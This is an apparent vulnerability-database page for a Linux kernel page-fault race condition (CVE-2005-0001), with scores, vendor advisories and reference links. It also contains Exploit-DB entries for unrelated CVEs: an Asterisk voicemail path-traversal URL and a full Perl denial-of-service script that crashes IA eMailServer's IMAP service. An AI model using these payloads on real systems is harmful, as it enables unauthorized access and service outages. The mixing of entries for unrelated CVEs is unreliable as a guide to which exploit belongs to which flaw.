CVE-2005-0001
published 2005-05-02CVE-2005-0001: Race condition in the page fault handler (fault.c) for Linux kernel 2.2.x to 2.2.7, 2.4 to 2.4.29, and 2.6 to 2.6.10, when running on multiprocessor machines…
PriorityP419medium6.9CVSS 2.0
AVLACMAuNCCICAC
EPSS
0.50%
39.5th percentile
Race condition in the page fault handler (fault.c) for Linux kernel 2.2.x to 2.2.7, 2.4 to 2.4.29, and 2.6 to 2.6.10, when running on multiprocessor machines, allows local users to execute arbitrary code via concurrent threads that share the same virtual memory space and simultaneously request stack expansion.
Affected
49 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
CVSS provenance
nvdv2.06.9MEDIUMAV:L/AC:M/Au:N/C:C/I:C/A:C
vendor_redhat6.9MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2005-01-14
CVE-2005-0001 Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Linux kernel vulnerabilities
CAN-2005-0001:
Paul Starzetz discovered a race condition in the Linux page fault
handler code. This allowed an unprivileged user to gain root
privileges on multiprocessor machines under some circumstances.
This also affects the Hyper-Threading mode on Pentium 4 processors.
http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html:
Brad Spengler discovered that some device drivers used
copy_from_user() (a function to copy data from userspace tools into
kernel memory) with insufficient input validation. This potentially
allowed users and/or malicious hardware to overwrite kernel memory
which could result in a crash (Denial of Service) or even root
privilege escalation.
Additionally, this update c
Red Hat
security flaw
vendor_redhat·2005-01-12·CVSS 6.9
CVE-2005-0001 [MEDIUM] security flaw
security flaw
Race condition in the page fault handler (fault.c) for Linux kernel 2.2.x to 2.2.7, 2.4 to 2.4.29, and 2.6 to 2.6.10, when running on multiprocessor machines, allows local users to execute arbitrary code via concurrent threads that share the same virtual memory space and simultaneously request stack expansion.
GHSA
GHSA-xrf6-29c3-gghc: Race condition in the page fault handler (fault
ghsa_unreviewed·2022-05-01
CVE-2005-0001 [MEDIUM] GHSA-xrf6-29c3-gghc: Race condition in the page fault handler (fault
Race condition in the page fault handler (fault.c) for Linux kernel 2.2.x to 2.2.7, 2.4 to 2.4.29, and 2.6 to 2.6.10, when running on multiprocessor machines, allows local users to execute arbitrary code via concurrent threads that share the same virtual memory space and simultaneously request stack expansion.
No detection rules found.
Exploit-DB
Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access
exploitdb·2005-11-07
CVE-2005-3559 Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access
Asterisk 0.x/1.0/1.2 Voicemail - Unauthorized Access
---
source: https://www.securityfocus.com/bid/15336/info
Asterisk is prone to an unauthorized-access vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.
Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system.
http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav
Exploit-DB
IA eMailServer Corporate Edition 5.2.2 - Denial of Service
exploitdb·2005-06-26
CVE-2005-2083 IA eMailServer Corporate Edition 5.2.2 - Denial of Service
IA eMailServer Corporate Edition 5.2.2 - Denial of Service
---
#===== Start IAeMailServer_DOS.pl =====
#
# Usage: IAeMailServer_DOS.pl
# IAeMailServer_DOS.pl 127.0.0.1
#
# True North Software, Inc. IA eMailServer Corporate Edition
# Version: 5.2.2. Build: 1051.
#
# Download:
# http://www.tnsoft.com/
#
############################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill IA eMailServer at $ARGV[0]:143...";
sleep(1);
print $socket "0000 LOGIN hello moto\r\n";
sleep(1);
print $socket "0001 LIST 1 \%x\r\n";
close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End IAeMailServer_DOS.pl =====
# milw0rm.com
http://distro.conectiva.com.br/atualizacoes/index.php?id=a&anuncio=000930http://isec.pl/vulnerabilities/isec-0022-pagefault.txthttp://lists.grok.org.uk/pipermail/full-disclosure/2005-January/030826.htmlhttp://marc.info/?l=bugtraq&m=110554694522719&w=2http://marc.info/?l=bugtraq&m=110581146702951&w=2http://secunia.com/advisories/13822http://secunia.com/advisories/20163http://secunia.com/advisories/20202http://secunia.com/advisories/20338http://securitytracker.com/id?1012862http://www.debian.org/security/2006/dsa-1067http://www.debian.org/security/2006/dsa-1069http://www.debian.org/security/2006/dsa-1070http://www.debian.org/security/2006/dsa-1082http://www.mandriva.com/security/advisories?name=MDKSA-2005:022http://www.redhat.com/support/errata/RHSA-2005-016.htmlhttp://www.redhat.com/support/errata/RHSA-2005-017.htmlhttp://www.redhat.com/support/errata/RHSA-2005-043.htmlhttp://www.redhat.com/support/errata/RHSA-2005-092.htmlhttp://www.securityfocus.com/bid/12244http://www.trustix.org/errata/2005/0001/https://bugzilla.fedora.us/show_bug.cgi?id=2336https://exchange.xforce.ibmcloud.com/vulnerabilities/18849https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10322http://distro.conectiva.com.br/atualizacoes/index.php?id=a&anuncio=000930http://isec.pl/vulnerabilities/isec-0022-pagefault.txthttp://lists.grok.org.uk/pipermail/full-disclosure/2005-January/030826.htmlhttp://marc.info/?l=bugtraq&m=110554694522719&w=2http://marc.info/?l=bugtraq&m=110581146702951&w=2http://secunia.com/advisories/13822http://secunia.com/advisories/20163http://secunia.com/advisories/20202http://secunia.com/advisories/20338http://securitytracker.com/id?1012862http://www.debian.org/security/2006/dsa-1067http://www.debian.org/security/2006/dsa-1069http://www.debian.org/security/2006/dsa-1070http://www.debian.org/security/2006/dsa-1082http://www.mandriva.com/security/advisories?name=MDKSA-2005:022http://www.redhat.com/support/errata/RHSA-2005-016.htmlhttp://www.redhat.com/support/errata/RHSA-2005-017.htmlhttp://www.redhat.com/support/errata/RHSA-2005-043.htmlhttp://www.redhat.com/support/errata/RHSA-2005-092.htmlhttp://www.securityfocus.com/bid/12244http://www.trustix.org/errata/2005/0001/https://bugzilla.fedora.us/show_bug.cgi?id=2336https://exchange.xforce.ibmcloud.com/vulnerabilities/18849https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10322
2005-05-02
Published